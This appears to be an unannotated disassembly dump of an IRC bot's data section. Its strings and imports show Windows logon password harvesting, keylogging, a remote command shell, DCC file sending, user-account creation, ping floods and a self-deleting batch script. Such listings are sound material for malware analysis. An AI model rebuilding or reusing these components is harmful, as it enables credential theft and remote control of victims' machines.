dd offset byte_4E0049
dd 0
off_42CC9C dd offset byte_530055 ; DATA XREF: sub_409037+CEo
dd offset byte_520045
dd offset loc_41004B+3
dd offset byte_45004D
align 10h
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do
align 4
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o
align 10h
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_409037+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o
; sub_409037+161o ...
align 10h
unk_42CD60 db 2 ; DATA XREF: sub_409037+35o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aOnlySupportedO db ' Only supported on Windows NT/2000.',0
align 4
aMsgina db 'MSGINA',0 ; DATA XREF: sub_409209+13Eo
align 4
aNwgina db 'NWGINA',0 ; DATA XREF: sub_409209+123o
align 4
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_409209+AFo
align 10h
unk_42CDC0 db 2 ; DATA XREF: sub_40966F+70o
; sub_409706+C7o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTheWindowsLo_0 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
db 'er: (%S/%S).',0
align 4
unk_42CE2C db 2 ; DATA XREF: sub_409706+E1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 69h, 6Eh
db 64h ; d
db 70h, 61h, 73h
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTheWindowsLo_1 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
db 'er: (%S/(N/A)).',0
align 4
aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o
align 4
aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o
aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40981F:loc_40A45Ao
align 10h
aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40981F+BE6o
align 10h
aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40981F+BD9o
align 10h
aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40981F+BCCo
align 10h
aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40981F+BBFo
align 10h
aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40981F+BB2o
align 10h
aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo
align 4
aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40981F:loc_40A3BCo
align 10h
aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40981F+B68o
align 10h
aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40981F+B60o
align 10h
aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40981F:loc_40A372o
aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo
align 4
aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o
align 4
aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o
aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo
aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40981F:loc_40A2FEo
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo
align 10h
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40981F+AA2o
align 10h
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40981F:loc_40A2B4o
align 10h
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o
align 10h
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o
align 4
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40981F:loc_40A26Ao
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo
align 4
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40981F+9C1o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40981F+9B4o
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40981F+9A7o
align 4
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40981F+99Ao
align 10h
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40981F+98Do
align 10h
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o
align 4
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40981F+966o
align 4
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40981F+959o
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40981F+951o
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40981F:loc_40A15Fo
align 10h
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40981F+903o
align 10h
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40981F+8F6o
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40981F+8EEo
align 10h
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40981F:loc_40A100o
align 4
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o
align 10h
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40981F+80Eo
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o
align 4
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o
align 10h
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o
align 4
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o
align 4
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40981F:loc_409FE0o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_40981F+688o
aGetpeername db 'getpeername',0 ; DATA XREF: sub_40981F+67Bo
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40981F+66Eo
align 10h
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40981F+661o
align 10h
aGethostname db 'gethostname',0 ; DATA XREF: sub_40981F+654o
aGetsockname db 'getsockname',0 ; DATA XREF: sub_40981F+647o
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40981F+63Ao
align 4
aAccept db 'accept',0 ; DATA XREF: sub_40981F+62Do
align 4
aListen db 'listen',0 ; DATA XREF: sub_40981F+620o
align 4
aSelect db 'select',0 ; DATA XREF: sub_40981F+613o
align 4
aBind db 'bind',0 ; DATA XREF: sub_40981F+60Bo
align 4
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40981F+5F9o
align 10h
aRecv db 'recv',0 ; DATA XREF: sub_40981F+5ECo
align 4
aSendto db 'sendto',0 ; DATA XREF: sub_40981F+5DFo
align 10h
aSend db 'send',0 ; DATA XREF: sub_40981F+5D2o
; sub_40EE72+220Do
align 4
aNtohl db 'ntohl',0 ; DATA XREF: sub_40981F+5C5o
align 10h
aNtohs db 'ntohs',0 ; DATA XREF: sub_40981F+5B8o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_40981F+5ABo
align 10h
aHtons db 'htons',0 ; DATA XREF: sub_40981F+59Eo
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40981F+591o
align 4
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40981F+584o
align 10h
aConnect db 'connect',0 ; DATA XREF: sub_40981F+577o
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40981F+56Ao
aSocket db 'socket',0 ; DATA XREF: sub_40981F+55Do
align 4
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40981F+550o
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40981F+543o
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40981F+536o
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40981F+529o
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40981F+51Co
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40981F+50Fo
align 10h
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40981F+507o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40981F+4F6o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40981F+483o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40981F+476o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_40981F+469o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40981F+45Co
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo
align 10h
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40981F+442o
align 10h
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40981F+420o
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40981F:loc_409C2Eo
align 10h
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40981F:loc_409C06o
align 10h
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40981F+368o
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_40981F+35Bo
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40981F+34Eo
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40981F+341o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40981F:loc_409B58o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o
align 4
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40981F+2ACo
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40981F+29Fo
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o
align 4
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40981F+285o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40981F+278o
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40981F+270o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40981F:loc_409A7Eo
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40981F+20Do
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40981F+200o
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40981F+1A0o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40981F+193o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o
align 10h
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40981F+179o
align 10h
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40981F+16Co
align 10h
aIswindow db 'IsWindow',0 ; DATA XREF: sub_40981F+15Fo
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40981F+152o
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40981F+14Ao
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40981F:loc_409954o
; sub_42105F+Do
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o
align 4
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o
align 4
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40981F+86o
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40981F+79o
align 4
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo
aModule32first db 'Module32First',0 ; DATA XREF: sub_40981F+52o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40981F+45o
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_40981F+38o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40981F+23o
align 4
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40981F+Ao
align 4
unk_42D764 db 2 ; DATA XREF: sub_40A4AC+2F2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Fh, 72h
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDllTestComplet db ' DLL test complete.',0
align 4
aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo
align 10h
aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o
aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o
align 4
aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o
align 4
aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo
align 4
aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o
aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o
align 4
aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o
align 4
aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co
align 10h
aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o
aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o
align 10h
aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o
align 4
aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co
aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o
align 10h
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o
align 4
aMirc db 'mIRC',0 ; DATA XREF: sub_40AAFA+5o
; sub_415C5E+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_40AB7C+1Co
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o
align 4
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40AC42+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40AC42+48o
align 4
unk_42D9A8 db 2 ; DATA XREF: sub_40AE02:loc_40AEC1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aNotSupportedBy db ' Not supported by this system.',0
align 4
unk_42D9E8 db 2 ; DATA XREF: sub_40AE02:loc_40AE8Fo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUnableToAlloca db ' Unable to allocation ARP cache.',0
align 4
unk_42DA28 db 2 ; DATA XREF: sub_40AE02:loc_40AE5Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheIsEmpt db ' ARP cache is empty.',0
align 4
unk_42DA5C db 2 ; DATA XREF: sub_40AE02+49o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 66h, 6Ch, 75h
db 73h ; s
db 68h, 64h, 6Eh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorGettingAr db ' Error getting ARP cache: <%d>.',0
align 4
unk_42DA9C db 2 ; DATA XREF: sub_40AF86+13Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFinishedSendin db ' Finished sending pings to %s.',0
align 4
unk_42DAD8 db 2 ; DATA XREF: sub_40AF86+6Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 70h, 69h, 6Eh
db 67h ; g
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPi db ' Error sending pings to %s.',0
align 10h
dword_42DB10 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B112+1C6o
dd 2BBBB02h
aFinishedSend_0 db ' Finished sending packets to %s.',0
align 4
dword_42DB4C dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B112+8Eo
dd 2BBBB02h
aErrorSending_1 db ' Error sending pings to %s.',0
align 4
aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o
dword_42DB94 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B417:loc_40B549o
dd 2BBBB02h
aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0
align 4
dword_42DBD4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B417+10Fo
dd 2BBBB02h
aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0
align 4
dword_42DC0C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B417:loc_40B4FDo
dd 2BBBB02h
aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0
align 4
dword_42DC4C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B56C+194o
dd 2BBBB02h
aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0
align 10h
dword_42DC90 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40B56C+14Co
dd 2BBBB02h
aRemoteCommandP db ' Remote Command Prompt',0
aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40B56C+21o
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40B721+52o
aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
; DATA XREF: sub_40B8D8+297o
db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
db ' %s. [Uptime]: %s.',0
align 4
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40B8D8+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co
align 10h
word_42DDD0 dw 3Fh ; DATA XREF: sub_40B8D8:loc_40B9DAr
; sub_40D099+1Fo
align 4
dword_42DDD4 dd 28207325h, 297325h ; DATA XREF: sub_40B8D8+EBo
dword_42DDDC dd 3F3F3Fh ; DATA XREF: sub_40B8D8:loc_40B99Bo
; ___:loc_415C0Fo
a2003 db '2003',0 ; DATA XREF: sub_40B8D8+BAo
align 4
aXp db 'XP',0 ; DATA XREF: sub_40B8D8+AAo
; ___:00415BFAo
align 4
a2k db '2K',0 ; DATA XREF: sub_40B8D8+98o
; ___:00415BEAo
align 10h
aMe db 'ME',0 ; DATA XREF: sub_40B8D8+7Eo
; ___:00415BD1o
align 4
a98 db '98',0 ; DATA XREF: sub_40B8D8+6Co
; ___:00415BC1o
align 4
aNt db 'NT',0 ; DATA XREF: sub_40B8D8+5Ao
; ___:00415BB1o
align 4
a95 db '95',0 ; DATA XREF: sub_40B8D8+46o
; ___:00415BA3o
align 10h
aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
; DATA XREF: sub_40BB8C+A4o
align 10h
off_42DE40 dd offset loc_412F4E ; DATA XREF: sub_40BB8C:loc_40BBF8o
off_42DE44 dd offset dword_4E414C ; DATA XREF: sub_40BB8C:loc_40BBEEo
dword_42DE48 dd 6C616944h, 70752Dh ; DATA XREF: sub_40BB8C+5Bo
dword_42DE50 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40BB8C+48o
unk_42DE60 db 2 ; DATA XREF: sub_40BC4B:loc_40BE04o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 76h, 69h, 73h
db 69h ; i
db 74h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToConnec db 'Failed to connect to HTTP server.',0
align 10h
unk_42DEA0 db 2 ; DATA XREF: sub_40BC4B:loc_40BDFDo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 76h, 69h, 73h
db 69h ; i
db 74h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCouldNotOpenAC db 'Could not open a connection.',0
align 4
dword_42DEDC dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
; DATA XREF: sub_40BC4B+1A0o
dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch, 2E4C5255h
dd 0
unk_42DF08 db 2 ; DATA XREF: sub_40BC4B:loc_40BDDEo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 76h, 69h, 73h
db 69h ; i
db 74h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0
align 4
dword_42DF54 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
; DATA XREF: sub_40BC4B+18Co
dd 0BB022029h, 202002BBh, 204C5255h, 69736976h, 2E646574h
dd 0
dword_42DF80 dd 2A2F2Ah ; DATA XREF: sub_40BC4B+3Bo
dword_42DF84 dd 202E6425h, 3D207325h, 732520h ; DATA XREF: sub_40BEF5+35o
dword_42DF90 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o
align 4
dword_42DFC4 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
; DATA XREF: sub_40C00D+1Ao
dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h, 0
dword_42DFEC dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C07F+DCo
dd 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh, 2E657465h
dd 0
dword_42E018 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C07F+3Fo
dd 2BBBB02h, 65422020h, 6E6967h
dword_42E038 dd 80000002h, 42F6CCh, 80000002h, 42F6FCh, 80000001h, 42F734h
; DATA XREF: sub_40C1AE+7o
dword_42E050 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C1AE+63o
; sub_40C351+170o
dd 2BBBB02h
aFailedToSendTo db ' Failed to send to Remote command shell.',0
align 4
dword_42E094 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C351+ABo
dd 2BBBB02h
aFailedToOpenRe db ' Failed to open remote command shell.',0
align 4
dword_42E0D4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C351+47o
; sub_40C512+FDo
dd 2BBBB02h
aFailedToOpenSo db ' Failed to open socket.',0
align 4
dword_42E108 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C512+362o
; sub_40C8B4+156o
dd 2BBBB02h, 6F532020h, 74656B63h, 72726520h, 2E726Fh
dword_42E130 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C512+2FAo
dd 2BBBB02h
aTransferComp_0 db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42E180 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C512+202o
dd 2BBBB02h
aUnableToOpenSo db ' Unable to open socket.',0
align 4
dword_42E1B4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C512+1CBo
dd 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h, 2E7475h
dword_42E1DC dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40C512+16Ao
dd 169h
dword_42E1F4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C512+127o
dd 2BBBB02h
aFileDoesnTExis db ' File doesn',27h,'t exist.',0
align 4
dword_42E224 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C512+82o
